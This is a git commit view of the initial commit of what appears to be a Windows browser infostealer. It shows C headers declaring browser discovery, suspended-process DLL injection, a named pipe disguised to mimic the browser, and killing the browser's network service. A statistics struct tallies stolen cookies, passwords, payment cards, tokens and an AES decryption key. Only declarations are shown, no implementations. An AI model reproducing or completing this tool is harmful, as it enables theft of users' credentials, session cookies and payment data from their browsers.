initial commit

This commit is contained in:
i2p
2026-08-27 11:22:14 -06:00
commit ec0f5dc87a
56 changed files with 284773 additions and 0 deletions
+24
View File
@@ -0,0 +1,24 @@
#ifndef BROWSER_RESOLVER_H
#define BROWSER_RESOLVER_H
#include "types.h"
typedef struct {
wchar_t browser_id[64];
wchar_t exe_path[MAX_PATH_LEN];
} BrowserInfo;
typedef struct {
BrowserInfo* items;
size_t count;
size_t capacity;
} BrowserList;
BrowserList* browser_list_create(void);
void browser_list_destroy(BrowserList* list);
bool browser_list_add(BrowserList* list, const wchar_t* id, const wchar_t* path);
bool browser_resolve_path(const wchar_t* exe_name, wchar_t* out_path, size_t len);
BrowserList* browser_find_all_installed(void);
#endif // BROWSER_RESOLVER_H
+8
View File
@@ -0,0 +1,8 @@
#ifndef INJECTION_MANAGER_H
#define INJECTION_MANAGER_H
#include "types.h"
bool injection_execute(TargetProcess* target, const wchar_t* pipe_name);
#endif // INJECTION_MANAGER_H
+12
View File
@@ -0,0 +1,12 @@
#ifndef PIPE_COMMUNICATOR_H
#define PIPE_COMMUNICATOR_H
#include "types.h"
bool pipe_create(PipeCommunicator* comm, const wchar_t* pipe_name);
void pipe_destroy(PipeCommunicator* comm);
bool pipe_wait_for_client(PipeCommunicator* comm);
bool pipe_send_initial_data(PipeCommunicator* comm, bool verbose, bool fingerprint, const wchar_t* output_path);
bool pipe_relay_messages(PipeCommunicator* comm);
#endif // PIPE_COMMUNICATOR_H
+11
View File
@@ -0,0 +1,11 @@
#ifndef TARGET_PROCESS_H
#define TARGET_PROCESS_H
#include "types.h"
bool target_create_suspended(TargetProcess* target, const wchar_t* exe_path);
void target_terminate(TargetProcess* target);
void target_cleanup(TargetProcess* target);
bool target_kill_network_service(const wchar_t* process_name);
#endif // TARGET_PROCESS_H
+49
View File
@@ -0,0 +1,49 @@
#ifndef INJECTOR_TYPES_H
#define INJECTOR_TYPES_H
#include <Windows.h>
#include <stdbool.h>
#include <stdint.h>
#define MAX_PATH_LEN 512
#define DLL_COMPLETION_TIMEOUT_MS 60000
#define PIPE_TIMEOUT_MS 10000
typedef struct {
bool verbose;
bool extract_fingerprint;
wchar_t output_path[MAX_PATH_LEN];
wchar_t browser_type[64];
wchar_t browser_process_name[64];
wchar_t browser_exe_path[MAX_PATH_LEN];
char browser_display_name[64];
} InjectorConfig;
typedef struct {
int total_cookies;
int total_passwords;
int total_payments;
int total_tokens;
int profile_count;
char aes_key[256];
} ExtractionStats;
typedef struct {
HANDLE process;
HANDLE thread;
DWORD pid;
USHORT arch;
} TargetProcess;
typedef struct {
HANDLE pipe;
wchar_t pipe_name[256];
ExtractionStats stats;
} PipeCommunicator;
typedef struct {
uint8_t* data;
size_t size;
} DllPayload;
#endif // INJECTOR_TYPES_H
+10
View File
@@ -0,0 +1,10 @@
#ifndef INJECTOR_UTILS_H
#define INJECTOR_UTILS_H
#include "types.h"
bool generate_browser_mimic_pipe_name(const wchar_t* browser_type, wchar_t* pipe_name, size_t len);
bool create_directory_recursive(const wchar_t* path);
bool file_exists(const wchar_t* path);
#endif // INJECTOR_UTILS_H